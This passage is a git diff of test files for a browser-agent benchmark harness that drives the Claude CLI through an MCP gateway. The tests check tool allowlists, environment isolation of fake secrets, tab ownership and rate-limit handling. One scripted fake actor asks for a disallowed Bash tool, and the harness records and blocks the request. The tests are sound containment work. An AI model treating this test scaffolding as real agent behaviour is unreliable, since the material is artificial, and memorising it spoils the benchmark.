b/mind2web/harness/test/fixtures/public-gate-native.mjs @@ -0,0 +1,65 @@ +// A stdio-only protocol double. It never connects to Chrome or an inference API. +import { createInterface } from 'node:readline'; +import { createHash } from 'node:crypto'; +import { PUBLIC_ALLOWED_TOOLS } from '../../browser-manual-profile.mjs'; +import { PUBLIC_CLICK_SCRIPT, PUBLIC_STATE_SCRIPT, REF_CASES } from '../../public-live-gate.mjs'; +import { encodeSolidPng } from '../../png.mjs'; + +const tabs = new Map(); let nextTab = process.pid * 100, captures = 0; +const text = (row, isError = false) => ({ ...(isError ? { isError: true } : {}), content: [{ type: 'text', text: JSON.stringify(row) }] }); +const fail = (code, error) => text({ success: false, code, error }, true); +const state = marker => ({ marker, clicks: 0, typed: '', enters: 0, selected: 'red', checked: false, + hovered: 0, hover_synthetic: 0, hover_trusted: 0, canvas: 0, churn: false }); +function open(url) { + const id = ++nextTab, marker = new URL(url).searchParams.get('marker'); + tabs.set(id, { id, url, state: state(marker), target: null }); return id; +} +function request(method, params = {}) { + if (method === 'initialize') return { protocolVersion: '2024-11-05', capabilities: { tools: {} }, serverInfo: { name: 'isolated-test-double', version: '1' } }; + if (method === 'tools/list') return { tools: PUBLIC_ALLOWED_TOOLS.map(name => ({ name, description: 'Isolated protocol fixture', inputSchema: { type: 'object', properties: {}, required: [] } })) }; + if (method !== 'tools/call') return {}; + const { name, arguments: args = {} } = params; + if (name === 'list_tabs') return text({ success: true, tabs: [...tabs.values()].map(({ id }) => ({ id })), totalTabs: tabs.size }); + if (name === 'open_tab') { const id = open(args.url); return text({ success: true, tabId: id, url: args.url }); } + if (name === 'get_site_guide') return text({ success: true, guide: 'Synthetic site guide' }); + const id = args.tab_id ?? args.tabId, tab = tabs.get(id); + if (!tab) return fail('TAB_NOT_OWNED', 'Detected: Tab ownership violation'); + if (name === 'switch_tab') return text({ success: true, tabId: id }); + if (name === 'close_tab') { tabs.delete(id); return text({ success: true, closed: true, tabId: id }); } + if (name === 'navigate') { tab.url = args.url; tab.state = state(new URL(args.url).searchParams.get('marker')); return text({ success: true }); } + if (name === 'get_page_snapshot') return text({ success: true, snapshot: REF_CASES.map((spec, index) => `\`e${index + 1}: button "${spec.label}"\``).join('\n') }); + if (name === 'get_text' && args.selector === '#gate-state') return text({ success: true, text: JSON.stringify(tab.state) }); + if (name === 'get_text' && args.selector === '#after-svg') return text({ success: true, text: `AFTER_SVG ${tab.state.marker}` }); + if (/^e\d+$/.test(args.selector ?? '')) return fail('ELEMENT_NOT_FOUND', 'Element not found'); + if (name === 'execute_js') { + if (args.code.includes('visualViewport')) return text({ success: true, result: JSON.stringify({ url: tab.url, x: 0, y: 0, width: 120, height: 100, dpr: 1 }) }); + if (args.code === PUBLIC_CLICK_SCRIPT) tab.state.clicks++; + else if (args.code === PUBLIC_STATE_SCRIPT) Object.assign(tab.state, { clicks: tab.state.clicks + 1, typed: 'public gate', enters: tab.state.enters + 1, + selected: 'blue', checked: true, hovered: tab.state.hovered + 1, hover_synthetic: tab.state.hover_synthetic + 1 }); + else if (args.code.includes('getBoundingClientRect')) { + tab.target = args.code.includes('gate-canvas') ? 'canvas' : 'popup'; + return text({ success: true, result: JSON.stringify({ x: 30, y: 40 }) }); + } else return fail('UNEXPECTED_FIXTURE_SCRIPT', 'Unknown isolated fixture script'); + return text({ success: true, result: 'true' }); + } + if (name === 'click_at') { + if (tab.target === 'canvas') tab.state.canvas++; + else if (tab.target === 'popup') { const url = new URL(tab.url); url.searchParams.set('child', '1'); url.searchParams.set('marker', `${tab.state.marker}-popup`); open(url.href); } + else return fail('UNGROUNDED_TEST_INPUT', 'No corresponding geometry request'); + return text({ success: true }); + } + if (name === 'capture_screenshot') { + if (process.argv.includes('--capture-failure')) return fail('SCREENSHOT_CAPTURE_FAILED', 'Injected local native capture failure'); + const bytes = encodeSolidPng(120, 100, [id % 200, 60, ++captures % 200]); + return { content: [{ type: 'text', text: JSON.stringify({ capture_id: `test-${id}-${captures}`, source_url: tab.url, + timestamp: new Date().toISOString(), mode: 'viewport', css_rect: { x: 0, y: 0, width: 120, height: 100 }, output_width: 120, output_height: 100, + effective_emulation: { device_mode: 'current', device_scale_factor: 1 }, sha256: createHash('sha256').update(bytes).digest('hex'), byte_length: bytes.length }) }, + { type: 'image', mimeType: 'image/png', data: bytes.toString('base64') }] }; + } + return fail('UNEXPECTED_FIXTURE_TOOL', 'Unknown isolated fixture tool'); +} +for await (const line of createInterface({ input: process.stdin })) { + const message = JSON.parse(line); if (message.id === undefined) continue; + try { process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: request(message.method, message.params) }) + '\n'); } + catch { process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, error: { code: -32000, message: 'Isolated fixture failed' } }) + '\n'); } +} diff --git a/mind2web/harness/test/foreign-tabs.test.mjs b/mind2web/harness/test/foreign-tabs.test.mjs new file mode 100644 index 000000000..f6e382ef7 --- /dev/null +++ b/mind2web/harness/test/foreign-tabs.test.mjs @@ -0,0 +1,39 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { OwnedTaskSession } from '../owned-task-session.mjs'; +import { foreignOwnershipText } from '../manual-recording-proxy.mjs'; +import { closeChromeTabs } from '../chrome-tabs.mjs'; + +const inventory = ids => ({ content: [{ type: 'text', text: JSON.stringify({ success: true, tabs: ids.map(id => ({ id })) }) }] }); +const native = 'Detected: Tab ownership\nWhy: Tab 22 is owned by agent_96fe8174-fad0-43ea-8ef3-ae7ca3923891, not the calling agent.\nNext action: Use a tab owned by this agent.'; + +test('a foreign-owned listed popup is never re-adopted, targeted or closed, but may be read', () => { + const session = new OwnedTaskSession(); + session.registerOpenedTab(11); session.syncOwnedChildren(inventory([11, 22])); + assert.deepEqual([...session.tabs.keys()], [11, 22]); + session.selectTab(22); session.markForeign(22, native); + assert.equal(session.selectedTabId, 11, 'selection falls back to the primary tab'); + assert.deepEqual(session.syncOwnedChildren(inventory([11, 22])).map(tab => tab.id), [11]); + assert.throws(() => session.resolveTarget({ tab_id: 22 }), error => error.code === 'PUBLIC_TAB_NOT_CONTROLLABLE' && /agent_96fe8174/.test(error.message)); + assert.throws(() => session.assertCanClose(22), error => error.code === 'PUBLIC_TAB_NOT_CONTROLLABLE'); + assert.equal(session.resolveTarget({ tab_id: 22 }, { allowForeign: true }), 22); + assert.throws(() => session.assertCanClose(11), error => error.code === 'LAST_WORKING_TAB'); +}); + +test('only the public cross-agent ownership refusal is recognized as foreign', () => { + assert.equal(foreignOwnershipText({ isError: true, content: [{ type: 'text', text: native }] }), native); + assert.equal(foreignOwnershipText({ isError: true, content: [{ type: 'text', text: 'Detected: Page navigation\nWhy: Element not found' }] }), null); + assert.equal(foreignOwnershipText({ isError: true, content: [{ type: 'text', text: JSON.stringify({ success: false, code: 'TAB_NOT_OWNED' }) }] }), null); +}); + +test('Chrome tab closure passes only exact positive integer IDs and reports what it closed', async () => { + const calls = []; + const run = async (command, args) => { calls.push({ command, args }); return { code: 0, stdout: '22\n', stderr: '' }; }; + const result = await closeChromeTabs([22, 22, -1, 1.5, 33], { run }); + assert.deepEqual(calls[0].args.slice(2), ['22', '33']); + assert.equal(calls[0].command, '/usr/bin/osascript'); + assert.deepEqual(result, { ok: true, closed: [22], missing: [33], method: 'osascript_exact_tab_ids' }); + assert.deepEqual(await closeChromeTabs([], { run }), { ok: true, closed: [], missing: [] }); + const failed = await closeChromeTabs([44], { run: async () => ({ code: 1, stdout: '', stderr: 'Not authorized' }) }); + assert.equal(failed.ok, false); assert.deepEqual(failed.missing, [44]); assert.match(failed.error, /Not authorized/); +}); diff --git a/mind2web/harness/test/manual-claude-driver.test.mjs b/mind2web/harness/test/manual-claude-driver.test.mjs new file mode 100644 index 000000000..8152f8c91 --- /dev/null +++ b/mind2web/harness/test/manual-claude-driver.test.mjs @@ -0,0 +1,442 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { once } from 'node:events'; +import { access, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'; +import { createConnection } from 'node:net'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { createInterface } from 'node:readline'; +import { createRequire } from 'node:module'; +import { fileURLToPath } from 'node:url'; +import { runManualClaudeTask, invalidToolRequests, claudeToolViolation, normalizeClaudeUsage, quotaHeadroom, TOOL_PREFIX, MAX_MCP_OUTPUT_TOKENS } from '../driver-claude-manual.mjs'; +import { providerFailure } from '../manual-runner.mjs'; +import { ALLOWED_TOOLS, PUBLIC_ALLOWED_TOOLS, actorPrompt } from '../browser-manual-profile.mjs'; +import { MODEL, EFFORT, CLAUDE_CLI, QUOTA_HEADROOM } from '../model-family.mjs'; +import { BENCH_ROOT, HARNESS_DIR } from '../proc.mjs'; + +const task = { task_id: 'fixture', website: 'https://fixture.test/', confirmed_task: 'Change the visible counter to one' }; +const ANSWER = 'The observed fixture counter is one.'; +const LIMIT_TEXT = "You've hit your limit · resets 4am (America/Chicago)"; +const USAGE = { input_tokens: 120, cache_read_input_tokens: 4000, cache_creation_input_tokens: 600, output_tokens: 80 }; +const NORMALIZED = { input_tokens: 4720, cached_input_tokens: 4000, cache_creation_input_tokens: 600, uncached_input_tokens: 120, output_tokens: 80, thinking_tokens: null }; +// The only operator variables the CLI may inherit, plus the fixed isolation controls the driver sets. +const PASS_THROUGH = ['PATH', 'HOME', 'USER', 'LOGNAME', 'SHELL', 'TMPDIR', 'LANG', 'LC_ALL', 'LC_CTYPE', '__CF_USER_TEXT_ENCODING']; +const CONTROLS = ['CLAUDE_CODE_DISABLE_AUTO_MEMORY', 'ENABLE_TOOL_SEARCH', 'DISABLE_AUTOUPDATER', 'CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC', + 'MCP_TIMEOUT', 'MCP_TOOL_TIMEOUT', 'MAX_MCP_OUTPUT_TOKENS']; +// Present in the operator's environment when the benchmark is launched from a Claude Code session. +const LEAKS = { CLAUDECODE: '1', CLAUDE_CODE_SESSION_ID: 'operator-session', CLAUDE_CODE_ENTRYPOINT: 'cli', CLAUDE_CODE_OAUTH_TOKEN: 'oauth-must-not-leak', + ANTHROPIC_API_KEY: 'sk-ant-must-not-leak', ANTHROPIC_BASE_URL: 'https://leak.invalid', HF_TOKEN: 'hf-must-not-leak' }; +const prefixed = names => names.map(name => TOOL_PREFIX + name); +const epoch = () => Math.floor(Date.now() / 1000); +const flag = (args, name) => { + const index = args.indexOf(name); + assert.ok(index >= 0 && index + 1 < args.length, `Missing CLI argument ${name}`); + return args[index + 1]; +}; +const payload = result => JSON.parse(result.content.find(block => block.type === 'text').text); + +const pngModule = fileURLToPath(new URL('../png.mjs', import.meta.url)); +const toolsFile = fileURLToPath(new URL('../../../extension/ai/tool-definitions.js', import.meta.url)); +const { TOOL_REGISTRY } = createRequire(import.meta.url)(toolsFile); +const publicCatalog = { tools: TOOL_REGISTRY.filter(tool => !['wait_for_element', 'wait_for_stable'].includes(tool.name)) }; +// A stdio browser upstream double: owned tabs, real PNG captures and a click counter. +const browserSource = ` +import { createInterface } from 'node:readline'; +import { appendFileSync } from 'node:fs'; +import { createHash } from 'node:crypto'; +import { createRequire } from 'node:module'; +import { encodeSolidPng } from ${JSON.stringify(pngModule)}; +const { TOOL_REGISTRY } = createRequire(import.meta.url)(${JSON.stringify(toolsFile)}); +const tabs = new Map(); let next = 100, active = null, captures = 0; +const log = row => appendFileSync(process.env.FIXTURE_LOG, JSON.stringify(row) + '\\n'); +const reply = value => ({ content:[{type:'text',text:JSON.stringify(value)}] }); +const error = value => ({ ...reply({success:false,...value}), isError:true }); +log({type:'started',pid:process.pid}); process.on('exit', () => log({type:'exited',pid:process.pid})); +process.on('SIGTERM', () => process.exit(0)); +async function handle(method, params) { + if (method === 'initialize') return { protocolVersion:'2024-11-05',capabilities:{tools:{}},serverInfo:{name:'browser-double',version:'1'} }; + if (method === 'tools/list') return {tools:process.env.FIXTURE_PUBLIC_MODE ? TOOL_REGISTRY.filter(t=>!['wait_for_element','wait_for_stable'].includes(t.name)) : TOOL_REGISTRY}; + if (method !== 'tools/call') return {}; + const {name,arguments:args={}} = params; const id = args.tab_id ?? args.tabId; + log({type:'tool',name,args}); + if (name === 'list_tabs') return reply({success:true,tabs:[...tabs.values()].map(t=>({id:t.id,title:'Fixture',domain:'fixture.test',windowId:1}))}); + if (name === 'open_tab') { const tab={id:++next,url:args.url,state:0}; tabs.set(tab.id,tab); active=tab.id; return reply({success:true,tabId:tab.id,url:tab.url}); } + if (name === 'close_tab') { tabs.delete(id); return reply({success:true,closed:true,tabId:id}); } + if (name === 'switch_tab') { if (!tabs.has(id)) return error({code:'TAB_NOT_OWNED',error:'Wrong task tab'}); active=id; return reply({success:true,tabId:id}); } + const tab=tabs.get(id); if (!tab) return error({code:'TAB_NOT_OWNED',error:'No such task tab'}); + if (name === 'capture_screenshot') { + captures++; + if (active !== id) return error({error:'Wrong foreground tab'}); + const height=process.env.FIXTURE_PUBLIC_MODE ? 120 : 80; + const bytes=encodeSolidPng(100,height,[tab.state,20,30]); + return {content:[{type:'text',text:JSON.stringify({capture_id:'capture-'+captures,source_url:tab.url,timestamp:new Date().toISOString(),mode:'viewport', + css_rect:{x:0,y:0,width:100,height},output_width:100,output_height:height,byte_length:bytes.length, + sha256:createHash('sha256').update(bytes).digest('hex'),effective_emulation:{device_mode:'current',device_scale_factor:1}})}, + {type:'image',mimeType:'image/png',data:bytes.toString('base64')}]}; + } + if (name === 'get_text' && process.env.FIXTURE_PUBLIC_MODE && new URL(tab.url).hostname === '127.0.0.1') { + const text=await (await fetch(tab.url)).text(); + return reply({success:true,text:text.match(/]*>([^<]+)<\\/main>/)[1]}); + } + if (name === 'execute_js') return reply({success:true,result:JSON.stringify({url:tab.url,x:0,y:0,width:100,height:80,dpr:1})}); + if (name === 'read_page' || name === 'get_page_snapshot') return reply({success:true,content:'Counter='+tab.state}); + if (name === 'click') { tab.state++; return reply({success:true,state:tab.state}); } + return reply({success:true}); +} +const input=createInterface({input:process.stdin}); +input.on('line',line=>{ let msg;try{msg=JSON.parse(line);}catch{return;} + if (msg.id === undefined) return; + handle(msg.method,msg.params).then(result=>process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:msg.id,result})+'\\n'), + error=>process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:msg.id,error:{code:-32603,message:error.message}})+'\\n')); +}); +`; + +async function fixture(t, env = {}) { + const dir = await mkdtemp(path.join(tmpdir(), 'claude-driver-test-')); + const server = path.join(dir, 'browser.mjs'), log = path.join(dir, 'browser-log.jsonl'), rawDir = path.join(dir, 'raw'); + await writeFile(server, browserSource); + t.after(() => rm(dir, { recursive: true, force: true })); + const options = { task, rawDir, serverCommand: [process.execPath, server], env: { ...process.env, FIXTURE_LOG: log, ...env } }; + const lines = async file => (await readFile(file, 'utf8').catch(error => { if (error.code === 'ENOENT') return ''; throw error; })) + .split('\n').filter(Boolean).map(line => JSON.parse(line)); + return { + dir, rawDir, + async run(extra) { + const final = await runManualClaudeTask({ ...options, ...extra }); + if (extra?.run?.fixtureError) throw extra.run.fixtureError; + return final; + }, + events: () => lines(log), + browserTools: async () => (await lines(log)).filter(row => row.type === 'tool'), + raw: name => readFile(path.join(rawDir, name), 'utf8'), + jsonl: name => lines(path.join(rawDir, name)), + }; +} + +// Speaks MCP to the task gateway the way Claude Code would: through the stdio +// shim named in the generated --mcp-config, or straight to its socket. +async function connectActor(config, { viaShim = false } = {}) { + const server = config.mcpServers.fsb; + let input, output, close, exited; + if (viaShim) { + const child = spawn(server.command, server.args, { stdio: ['pipe', 'pipe', 'pipe'] }); + let stderr = ''; child.stderr.on('data', chunk => { stderr += chunk; }); + exited = once(child, 'exit').then(() => new Error('The MCP stdio shim exited: ' + stderr)); + input = child.stdin; output = child.stdout; + close = async () => { if (child.exitCode === null && child.signalCode === null) { child.kill('SIGTERM'); await exited; } }; + } else { + const socket = createConnection(server.args[1]); + await new Promise((resolve, reject) => { socket.once('connect', resolve); socket.once('error', reject); }); + input = output = socket; close = async () => socket.destroy(); + } + const lines = createInterface({ input: output }), pending = new Map(); let id = 0; + exited?.then(error => { for (const entry of pending.values()) entry.reject(error); pending.clear(); }); + lines.on('line', line => { + let value; try { value = JSON.parse(line); } catch { return; } + const entry = pending.get(value.id); if (!entry) return; + pending.delete(value.id); value.error ? entry.reject(new Error(value.error.message)) : entry.resolve(value.result); + }); + const request = (method, params = {}) => new Promise((resolve, reject) => { + const key = ++id; pending.set(key, { resolve, reject }); + input.write(JSON.stringify({ jsonrpc: '2.0', id: key, method, params }) + '\n'); + }); + await request('initialize', { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'fake-claude-code', version: '1' } }); + input.write(JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' }) + '\n'); + return { request, call: (name, args = {}) => request('tools/call', { name, arguments: args }), async close() { lines.close(); await close(); } }; +} + +const initEvent = (tools, extra = {}) => ({ type: 'system', subtype: 'init', cwd: '/fake-claude-work', session_id: 'claude-init-session', model: MODEL, tools, + mcp_servers: [{ name: 'fsb', status: 'connected' }], permissionMode: 'dontAsk', apiKeySource: 'none', claude_code_version: '2.1.302', ...extra }); +function rateLimitEvent(status, { fiveHour = 0.25, sevenDay = 0.4, resetsAt = epoch() + 3600 } = {}) { + return { type: 'rate_limit_event', rate_limit_info: { status, resetsAt, rateLimitType: 'five_hour', + unifiedWindows: { five_hour: { utilization: fiveHour, resetsAt }, seven_day: { utilization: sevenDay, resetsAt: resetsAt + 4 * 86400 } } } }; +} +const resultEvent = (extra = {}) => ({ type: 'result', subtype: 'success', is_error: false, result: ANSWER, num_turns: 3, duration_ms: 2100, + duration_api_ms: 1800, session_id: 'claude-result-session', total_cost_usd: 0.0421, usage: USAGE, + modelUsage: { [MODEL]: { inputTokens: 120, outputTokens: 80, costUSD: 0.0421 } }, permission_denials: [], ...extra }); + +/** + * A stand-in for the Claude CLI injected through the driver's `run` option. It + * reads the generated prompt and MCP config, connects to the real gateway, + * derives its init tool list from the gateway's tools/list and streams + * stream-json events while `operate` drives tool turns. + */ +function fakeClaude({ operate, onSpawn, init = tools => initEvent(tools), rateLimit = rateLimitEvent('allowed'), result = resultEvent(), + code = 0, viaShim = false, connect = Boolean(operate) } = {}) { + const run = async (command, args, options) => { + const seen = run.seen = { command, args: [...args], options, env: { ...options.env }, emitted: [], + promptPath: flag(args, '--system-prompt-file'), mcpConfigPath: flag(args, '--mcp-config') }; + let actor; + try { + seen.prompt = await readFile(seen.promptPath, 'utf8'); + seen.config = JSON.parse(await readFile(seen.mcpConfigPath, 'utf8')); + await onSpawn?.(seen); + const emit = event => { const line = JSON.stringify(event) + '\n'; seen.emitted.push(line); options.onStdout(line); }; + actor = connect ? await connectActor(seen.config, { viaShim }) : null; + const tools = actor ? prefixed((await actor.request('tools/list')).tools.map(tool => tool.name)) : flag(args, '--allowedTools').split(','); + emit(init(tools)); + if (rateLimit) emit(rateLimit); + let next = 0; + // One assistant message may hold several tool_use blocks; their results return together in one user message. + const turn = async (...calls) => { + const uses = calls.map(([name, input = {}]) => ({ type: 'tool_use', id: `toolu_fake_${++next}`, name: TOOL_PREFIX + name, input })); + emit({ type: 'assistant', message: { id: `msg_fake_${next}`, type: 'message', role: 'assistant', model: MODEL, content: uses }, + parent_tool_use_id: null, session_id: 'claude-init-session' }); + const values = []; + for (const [index, use] of uses.entries()) values.push(await actor.call(calls[index][0], use.input)); + emit({ type: 'user', message: { role: 'user', content: uses.map((use, index) => ({ type: 'tool_result', tool_use_id: use.id, + content: values[index].content, ...(values[index].isError ? { is_error: true } : {}) })) }, parent_tool_use_id: null, session_id: 'claude-init-session' }); + return values; + }; + const call = async (name, input) => (await turn([name, input]))[0]; + await operate?.({ actor, emit, call, turn, options, seen }); + if (result) emit(result); + return options.signal.aborted ? { code: 128, signal: 'SIGKILL', timedOut: false } : { code, timedOut: false }; + } catch (error) { run.fixtureError = error; throw error; } + finally { await actor?.close(); } + }; + return run; +} + +test('the Claude driver bootstraps before spawn, isolates the CLI and records a complete run through the real gateway', async t => { + const f = await fixture(t, LEAKS), order = []; + const run = fakeClaude({ viaShim: true, + onSpawn: async () => { + order.push('spawn'); + const tools = await f.browserTools(), open = tools.findIndex(row => row.name === 'open_tab'); + assert.ok(open >= 0, 'The start page is opened before the CLI is spawned'); + assert.equal(tools[open].args.url, task.website); + assert.ok(tools.slice(open + 1).some(row => row.name === 'capture_screenshot'), 'The start page frame is captured before the CLI is spawned'); + }, + operate: async ({ call, turn }) => { + const observation = await call('read_page'); + assert.ok(observation.content.some(block => block.type === 'image'), 'Observations reach the actor as native image blocks'); + const results = await turn(['click', { selector: 'e1' }], ['read_page']); + assert.ok(results.every(result => !result.isError)); + } }); + const final = await f.run({ run, beforeSpawn: async () => { + order.push('admit'); + assert.deepEqual(await f.browserTools(), [], 'Admission precedes every browser call'); + return { allowed: true }; + } }); + const { seen } = run, { args } = seen; + assert.deepEqual(order, ['admit', 'spawn']); + + assert.equal(seen.command, CLAUDE_CLI); + assert.equal(args[0], '-p'); + assert.equal(flag(args, '--model'), MODEL); assert.equal(flag(args, '--effort'), EFFORT); + assert.equal(flag(args, '--tools'), '', 'Every built-in tool is disabled'); + assert.ok(args.includes('--strict-mcp-config')); + assert.equal(flag(args, '--permission-mode'), 'dontAsk'); + assert.ok(args.includes('--no-session-persistence')); + assert.equal(flag(args, '--allowedTools'), prefixed(ALLOWED_TOOLS).join(',')); + assert.equal(flag(args, '--disallowedTools'), 'ListMcpResourcesTool,ReadMcpResourceTool'); + assert.equal(flag(args, '--output-format'), 'stream-json'); assert.ok(args.includes('--verbose')); + assert.equal(flag(args, '--setting-sources'), ''); assert.deepEqual(JSON.parse(flag(args, '--settings')), { disableAllHooks: true }); + assert.equal(flag(args, '--max-turns'), '400'); + for (const name of ['--disable-slash-commands', '--no-chrome']) assert.ok(args.includes(name), name); + assert.ok(!args.includes('--dangerously-skip-permissions')); + + // The generated MCP config is what actually carried the actor's calls (via the stdio shim) to the gateway. + assert.deepEqual(Object.keys(seen.config.mcpServers), ['fsb']); + assert.equal(seen.config.mcpServers.fsb.type, 'stdio'); assert.equal(seen.config.mcpServers.fsb.command, process.execPath); + assert.equal(seen.config.mcpServers.fsb.args.length, 2); + assert.equal(seen.config.mcpServers.fsb.args[0], path.join(HARNESS_DIR, 'mcp-task-stdio.mjs')); + + for (const key of [...Object.keys(LEAKS), 'FIXTURE_LOG']) assert.equal(key in seen.env, false, `${key} must not reach the CLI`); + assert.deepEqual(Object.keys(seen.env).filter(key => !PASS_THROUGH.includes(key) && !CONTROLS.includes(key)), [], 'The CLI env is allowlisted'); + assert.equal(seen.env.MAX_MCP_OUTPUT_TOKENS, '100000'); assert.equal(MAX_MCP_OUTPUT_TOKENS, 100_000); + assert.equal(seen.env.ENABLE_TOOL_SEARCH, 'false'); assert.equal(seen.env.DISABLE_AUTOUPDATER, '1'); + assert.equal(seen.env.PATH, process.env.PATH); assert.equal(seen.env.HOME, process.env.HOME); + + assert.match(seen.prompt, /Images may be downscaled before you see them/); + assert.equal(seen.prompt, actorPrompt(await readFile(path.join(BENCH_ROOT, 'config/browser-manual-v2-prompt.md'), 'utf8'), false, 'claude')); + assert.doesNotMatch(seen.prompt, /may fall back to Google/); + assert.equal(seen.options.input, `Starting website: ${task.website}\nTask: ${task.confirmed_task}\n`); + assert.equal(seen.options.capture, false); assert.ok(seen.options.timeoutMs > 0 && seen.options.timeoutMs <= 1_200_000); + assert.equal(seen.options.cwd, path.dirname(seen.promptPath)); + await assert.rejects(access(seen.options.cwd), { code: 'ENOENT' }, 'The per-task prompt and MCP config directory is removed'); + + assert.equal(final.outcome, 'complete'); assert.equal(final.final_answer, ANSWER); assert.equal(final.error, null); + assert.equal(final.driver, 'claude'); assert.equal(final.profile, 'browser-manual-v2'); + assert.equal(final.model, MODEL); assert.equal(final.effort, EFFORT); + assert.equal(final.tool_calls, 3, 'Counted per tool_result block, including two results in one user message'); + assert.deepEqual(final.usage, NORMALIZED); assert.deepEqual(final.claude_usage, USAGE); + assert.equal(final.session_id, 'claude-init-session', 'The init session wins over the result session'); + assert.equal(final.num_turns, 3); assert.equal(final.total_cost_usd, 0.0421); assert.equal(final.duration_api_ms, 1800); + assert.deepEqual(final.model_usage, resultEvent().modelUsage); assert.deepEqual(final.permission_denials, []); + assert.deepEqual({ ...final.init, tools: [...final.init.tools].sort() }, { session_id: 'claude-init-session', model: MODEL, cli_version: '2.1.302', + tools: prefixed(ALLOWED_TOOLS).sort(), mcp_servers: [{ name: 'fsb', status: 'connected' }], permission_mode: 'dontAsk', api_key_source: 'none' }); + assert.equal(final.rate_limit.status, 'allowed'); assert.equal(final.rate_limit.unifiedWindows.five_hour.utilization, 0.25); + assert.ok(!Number.isNaN(Date.parse(final.rate_limit.observed_at))); + assert.equal(final.model_spawn_requested, true); assert.equal(final.cleanup_ok, true); assert.equal(final.cleanup_error, null); + assert.equal(final.action_count, 1); assert.equal(final.actor_mutations_dispatched, 1); + assert.deepEqual(JSON.parse(await f.raw('final.json')), final); + + assert.equal(await f.raw('stream.jsonl'), seen.emitted.join(''), 'Raw stream bytes are kept verbatim'); + const times = await f.jsonl('stream-event-times.jsonl'); + assert.deepEqual(times.map(row => row.index), times.map((_, index) => index)); + assert.deepEqual(times.map(row => row.type), seen.emitted.map(line => JSON.parse(line).type)); + assert.deepEqual(times.filter(row => row.tools).map(row => row.tools), [['mcp__fsb__read_page'], ['mcp__fsb__click', 'mcp__fsb__read_page']]); + const browser = await f.browserTools(); + assert.equal(browser.filter(row => row.name === 'read_page').length, 2); assert.equal(browser.filter(row => row.name === 'click').length, 1); + assert.ok(browser.some(row => row.name === 'close_tab' && row.args.tab_id === 101), 'The bootstrapped task tab is closed'); + const steps = await f.jsonl('steps.jsonl'); + assert.equal(steps.length, 4); assert.ok(steps.every(row => row.screenshot_path)); + assert.equal((await f.events()).filter(row => row.type === 'exited').length, 1); +}); + +test('a requested tool outside the FSB profile is recorded, cannot run, and does not stop the actor', async t => { + const f = await fixture(t); + const run = fakeClaude({ operate: async ({ emit, call, options }) => { + await call('read_page'); + emit({ type: 'assistant', message: { role: 'assistant', model: MODEL, content: [{ type: 'text', text: 'A shell would be faster.' }, + { type: 'tool_use', id: 'toolu_bash', name: 'Bash', input: { command: 'curl https://fixture.test/' } }] } }); + emit({ type: 'user', message: { role: 'user', content: [{ type: 'tool_result', tool_use_id: 'toolu_bash', is_error: true, + content: 'Error: No such tool available: Bash' }] } }); + assert.equal(options.signal.aborted, false, 'A request for a tool that does not exist cannot execute, so the CLI keeps running'); + await call('click', { selector: 'e1' }); + } }); + const final = await f.run({ run }); + assert.equal(final.outcome, 'complete'); assert.deepEqual(final.invalid_tool_requests, ['Bash']); + assert.equal(final.actor_mutations_dispatched, 1); assert.equal(final.cleanup_ok, true); + assert.equal((await f.browserTools()).filter(row => row.name === 'click').length, 1); +}); + +test('an init event that exposes a tool outside the profile is a tool violation before any model turn', async t => { + const f = await fixture(t); + const run = fakeClaude({ init: tools => initEvent([...tools, 'Bash']), + operate: async ({ options }) => { assert.equal(options.signal.aborted, true, 'The CLI is aborted on its init event'); } }); + const final = await f.run({ run }); + assert.equal(final.outcome, 'tool_violation'); assert.equal(final.error, 'Unexpected Claude tools: Bash'); + assert.equal(final.final_answer, null); assert.equal(final.tool_calls, 0); assert.equal(final.cleanup_ok, true); + assert.equal(final.init.tools.at(-1), 'Bash'); +}); + +test('a rejected rate limit is a quota error that keeps its reset epoch, with or without a result event', async t => { + for (const mode of ['error-result', 'exit-only']) await t.test(mode, async t => { + const f = await fixture(t), resetsAt = epoch() + 3 * 3600; + const events = [initEvent(prefixed(ALLOWED_TOOLS)), rateLimitEvent('rejected', { fiveHour: 1, resetsAt }), + ...(mode === 'error-result' ? [resultEvent({ is_error: true, result: LIMIT_TEXT, num_turns: 1, total_cost_usd: 0, + usage: { input_tokens: 0, output_tokens: 0 } })] : [])]; + // Chunks split mid-line and an unterminated last line, as a killed or flushing CLI can leave them. + const raw = events.map(event => JSON.stringify(event)).join('\n'); + const final = await f.run({ run: async (_command, _args, options) => { + for (const [start, end] of [[0, 41], [41, 777], [777, raw.length]]) options.onStdout(raw.slice(start, end)); + if (mode === 'exit-only') options.onStderr('API Error: request rejected\n'); + return { code: 1, timedOut: false }; + } }); + assert.equal(final.outcome, 'error', 'The start page was bootstrapped, so the run started'); + assert.match(final.error, /Claude rate limit rejected/); + assert.ok(final.error.includes(`"resetsAt":${resetsAt}`), final.error); + assert.ok(final.error.includes(mode === 'error-result' ? LIMIT_TEXT : 'API Error: request rejected'), final.error); + assert.equal(providerFailure(final.error), 'quota'); + assert.equal(final.rate_limit.status, 'rejected'); assert.equal(final.final_answer, null); + assert.equal(final.model_spawn_requested, true); assert.equal(final.cleanup_ok, true); + assert.equal(await f.raw('stream.jsonl'), raw); + const steps = await f.jsonl('steps.jsonl'); + assert.equal(steps.length, 1); assert.ok(steps[0].screenshot_path, 'The bootstrap frame keeps the attempt judgeable'); + }); +}); + +test('an error_max_turns result is a step limit rather than a provider failure', async t => { + const f = await fixture(t); + const run = fakeClaude({ code: 1, result: resultEvent({ subtype: 'error_max_turns', is_error: true, result: undefined, num_turns: 401 }), + operate: async ({ call }) => { await call('read_page'); } }); + const final = await f.run({ run }); + assert.equal(final.outcome, 'step_limit'); assert.equal(final.final_answer, null); + assert.match(final.error, /error_max_turns/); assert.equal(providerFailure(final.error), null); + assert.equal(final.num_turns, 401); assert.equal(final.tool_calls, 1); assert.deepEqual(final.usage, NORMALIZED); + assert.equal(final.cleanup_ok, true); +}); + +test('a successful result without answer text is no_answer', async t => { + for (const text of ['', 